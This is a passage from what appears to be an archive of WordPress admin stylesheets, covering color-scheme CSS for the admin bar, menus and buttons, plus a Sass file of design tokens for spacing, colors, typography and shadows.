a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(203.1,197.4,211.2)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#ece6f6}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#a3b745}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#a3b745}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#ece6f6}#wpadminbar #adminbarsearch:before{color:#ece6f6}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(99.0197674419,76.0761627907,131.6238372093)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#d46f15}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(190.8,99.9,18.9)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(99.0197674419,76.0761627907,131.6238372093);background-color:rgb(99.0197674419,76.0761627907,131.6238372093)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#a3b745}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(203.1,197.4,211.2)}.wp-pointer .wp-pointer-content h3{background-color:#a3b745;border-color:rgb(146.505952381,164.4821428571,62.0178571429)}.wp-pointer .wp-pointer-content h3:before{color:#a3b745}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#a3b745}.media-item .bar,.media-progress-bar div{background-color:#a3b745}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #a3b745}.attachment.details .check{background-color:#a3b745;box-shadow:0 0 0 1px #fff,0 0 0 2px #a3b745}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #a3b745}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#a3b745}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#a3b745}.theme-filter.current,.theme-section.current{border-bottom-color:#523f6d}body.more-filters-opened .more-filters{color:#fff;background-color:#523f6d}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#a3b745;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#a3b745;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(181.8928571429,198.3214285714,104.6785714286),0 0 2px 1px #a3b745}div#wp-responsive-toggle a:before{color:#ece6f6}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#a3b745}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(64.9802325581,49.9238372093,86.3761627907)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#ece6f6}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#a3b745}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#a3b745}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#a3b745}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#a3b745}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(181.8928571429,198.3214285714,104.6785714286),0 0 2px 1px #a3b745}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#a3b745;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#a3b745}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#a3b745;border-style:solid;box-shadow:0 0 0 1px #a3b745;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#a3b745}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#a3b745}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(181.8928571429,198.3214285714,104.6785714286),0 0 2px 1px #a3b745}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#a3b745;color:#0073aa} css/colors/_tokens.scss 0000644 00000020556 15233246127 0011211 0 ustar 00 // ========================================================================== // WordPress Design System Tokens // ========================================================================== // // These tokens are derived from the WordPress Design System in Figma: // https://www.figma.com/design/804HN2REV2iap2ytjRQ055/WordPress-Design-System // // IMPORTANT: Do NOT expose these as CSS custom properties. // Use these Sass variables to compile to static CSS values. // The only CSS custom properties available are those in wp-base-styles: // - --wp-admin-theme-color // - --wp-admin-theme-color--rgb // - --wp-admin-theme-color-darker-10 // - --wp-admin-theme-color-darker-20 // - --wp-admin-border-width-focus // // ========================================================================== // -------------------------------------------------------------------------- // Grid Units (Spacing) // -------------------------------------------------------------------------- // Based on 4px base unit. Use for padding, margin, and gap values. $grid-unit-05: 4px; // Scales/grid unit 05 $grid-unit-10: 8px; // Scales/grid unit 10 $grid-unit-15: 12px; // Scales/grid unit 15 $grid-unit-20: 16px; // Scales/grid unit 20 $grid-unit-30: 24px; // Scales/grid unit 30 $grid-unit-40: 32px; // Scales/grid unit 40 $grid-unit-50: 40px; // Scales/grid unit 50 $grid-unit-60: 48px; // Scales/grid unit 60 $grid-unit-70: 56px; // Scales/grid unit 70 // -------------------------------------------------------------------------- // Border Radius // -------------------------------------------------------------------------- $radius-xs: 1px; // radius-xs $radius-s: 2px; // radius-s - Buttons, inputs $radius-m: 4px; // radius-m - Focus rings $radius-l: 8px; // radius-l - Cards, dashboard widgets $radius-30: 12px; // Radius 30 $radius-full: 9999px; // radius-full - Pills, avatars, circles // -------------------------------------------------------------------------- // Gray Scale // -------------------------------------------------------------------------- // Neutral colors for backgrounds, borders, and text. $gray-100: #f0f0f0; // Scales/Grays/gray-100 - Page background, disabled inputs $gray-200: #e0e0e0; // Scales/Grays/gray-200 $gray-300: #dddddd; // Scales/Grays/gray-300 $gray-400: #cccccc; // Scales/Grays/gray-400 - Disabled borders $gray-600: #949494; // Scales/Grays/gray-600 - Input borders, disabled text $gray-700: #757575; // Scales/Grays/gray-700 $gray-800: #2f2f2f; // Scales/Grays/gray-800 $gray-900: #1e1e1e; // Scales/Grays/gray-900 - Primary text $white: #ffffff; // Scales/Black & White/white // -------------------------------------------------------------------------- // Theme Colors (Static reference values) // -------------------------------------------------------------------------- // For actual theme color usage, use var(--wp-admin-theme-color) instead. // These are provided for reference and for contexts where CSS vars aren't available. $theme-reference: #3858e9; // Scales/Theme/theme (modern scheme) $theme-darker-10-reference: #2145e6; // Scales/Theme/theme-darker-10 $theme-darker-20-reference: #183ad6; // Scales/Theme/theme-darker-20 $theme-alpha-04: rgba(56, 88, 233, 0.04); // Scales/Theme/theme-alpha-04 (4% opacity) $theme-alpha-08: rgba(56, 88, 233, 0.08); // Scales/Theme/theme-alpha-08 (8% opacity) $brand-9: #4465db; // Scales/brand-9 - Focus ring color (static, not theme-dependent) // -------------------------------------------------------------------------- // Semantic Colors // -------------------------------------------------------------------------- // Use these for notices, alerts, and status indicators. // These are intentionally NOT theme-dependent for consistency. $alert-yellow: #f0b849; // Scales/Yellow/alert-yellow - Warnings $alert-green: #4ab866; // Scales/Green/alert-green - Success $alert-red: #cc1818; // Scales/Red/alert-red - Errors $alert-blue: #3858e9; // Info notices (matches modern theme) // Background tints for notices $alert-yellow-bg: #fef8ee; // Warning notice background $alert-green-bg: #eff9f1; // Success notice background $alert-red-bg: #fcf0f0; // Error notice background $synced-color: #7a00df; // Scales/Purple/--wp-block-synced-color // -------------------------------------------------------------------------- // Text Colors // -------------------------------------------------------------------------- $text-primary: $gray-900; // Primary text color $text-secondary: $gray-700; // Secondary text $text-tertiary: #5d5d5d; // Alias/text/text-tertiary - Placeholder, hints $text-disabled: $gray-600; // Disabled text // -------------------------------------------------------------------------- // Component Tokens // -------------------------------------------------------------------------- // Inputs $input-bg: $white; // Alias/bg/bg-input $input-border-color: $gray-600; // Default input border $input-border-color-disabled: $gray-400; $input-bg-disabled: $gray-100; $input-border-width-default: 1px; // Input/Default $input-border-width-focus: 1.5px; // Input/Focus $field-spacing-horizontal: 8px; // Alias/field-spacing-horizontal // Checkboxes and Radios $checkbox-size: 16px; // Alias/checkbox $radio-size: 16px; // Alias/radio // Toggles $toggle-width: 32px; // Alias/toggle-width $toggle-height: 16px; // Alias/toggle-height // Buttons // Note: Gutenberg is transitioning to 40px as the default button size. // The "compact" size (32px) is available for space-constrained contexts. $button-height-default: 40px; // Default button height (next-default-40px) $button-height-compact: 32px; // Compact button height $button-height-small: 24px; // Small button height // Cards and Surfaces $card-bg: $white; $card-border-color: rgba(0, 0, 0, 0.1); $card-border-width: 1px; $card-border-radius: $radius-l; // 8px for dashboard widgets $card-border-radius-metabox: 0; // 0 for post editor metaboxes $card-divider-color: rgba(0, 0, 0, 0.1); // Card Padding Sizes $card-padding-xs: $grid-unit-10; // 8px - xSmall cards $card-padding-sm: $grid-unit-20; // 16px - Small cards (metaboxes, dashboard widgets) $card-padding-md-h: $grid-unit-30; // 24px - Medium cards horizontal $card-padding-md-v: $grid-unit-20; // 16px - Medium cards vertical $card-padding-lg-h: $grid-unit-40; // 32px - Large cards horizontal $card-padding-lg-v: $grid-unit-30; // 24px - Large cards vertical // Page Layout $page-padding-large: 48px; // Alias/page-large $page-padding-small: 24px; // Alias/page-small // -------------------------------------------------------------------------- // Typography Scale // -------------------------------------------------------------------------- // Font Sizes $font-size-xs: 11px; // xs - Small labels, button small $font-size-s: 12px; // s - Body small $font-size-m: 13px; // m - Base body text, buttons $font-size-l: 15px; // l - Body large, heading large $font-size-xl: 20px; // xl - Heading XL // Line Heights $line-height-xs: 16px; // xs $line-height-s: 20px; // s - Most UI elements $line-height-m: 24px; // m - Body large // Font Weights $font-weight-regular: 400; // Regular - Body text $font-weight-medium: 500; // Medium - Headings, buttons // -------------------------------------------------------------------------- // Elevation (Box Shadows) // -------------------------------------------------------------------------- $elevation-xs: 0 4px 4px rgba(0, 0, 0, 0.01), 0 3px 3px rgba(0, 0, 0, 0.02), 0 1px 2px rgba(0, 0, 0, 0.02), 0 1px 1px rgba(0, 0, 0, 0.03); $elevation-s: 0 8px 8px rgba(0, 0, 0, 0.02), 0 1px 2px rgba(0, 0, 0, 0.05); $elevation-m: 0 16px 16px rgba(0, 0, 0, 0.02), 0 4px 5px rgba(0, 0, 0, 0.03), 0 2px 3px rgba(0, 0, 0, 0.05); $elevation-l: 0 50px 43px rgba(0, 0, 0, 0.02), 0 30px 36px rgba(0, 0, 0, 0.04), 0 15px 27px rgba(0, 0, 0, 0.07), 0 5px 15px rgba(0, 0, 0, 0.08); // -------------------------------------------------------------------------- // Layout // -------------------------------------------------------------------------- $modal-width-small: 384px; // Layout/Modal small $modal-width-medium: 512px; // Layout/Modal medium $modal-width-large: 840px; // Layout/Modal large css/colors/blue/colors-rtl.css 0000644 00000060370 15233246127 0012411 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #52accc; } .wp-core-ui .wp-ui-text-primary { color: #52accc; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #096484; } .wp-core-ui .wp-ui-text-highlight { color: #096484; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #e1a948; } .wp-core-ui .wp-ui-text-notification { color: #e1a948; } .wp-core-ui .wp-ui-text-icon { color: #e5f8ff; } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #52accc; } .view-switch a:hover:before { color: #e1a948; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #52accc; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: #e5f8ff; } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #096484; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: #4796b3; } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: #4796b3; } #adminmenu .wp-submenu .wp-submenu-head { color: #e2ecf1; } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: #e2ecf1; } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #fff; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #fff; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #096484; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #e1a948; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: #4796b3; } /* Admin Menu: collapse button */ #collapse-button { color: #e5f8ff; } #collapse-button:hover, #collapse-button:focus { color: #fff; } /* Admin Bar */ #wpadminbar { color: #fff; background: #52accc; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: #e5f8ff; } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #fff; background: #4796b3; } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #fff; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #fff; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: #4796b3; } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(116.162375, 182.0949364754, 205.537625); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: #e2ecf1; } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: #e5f8ff; } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, 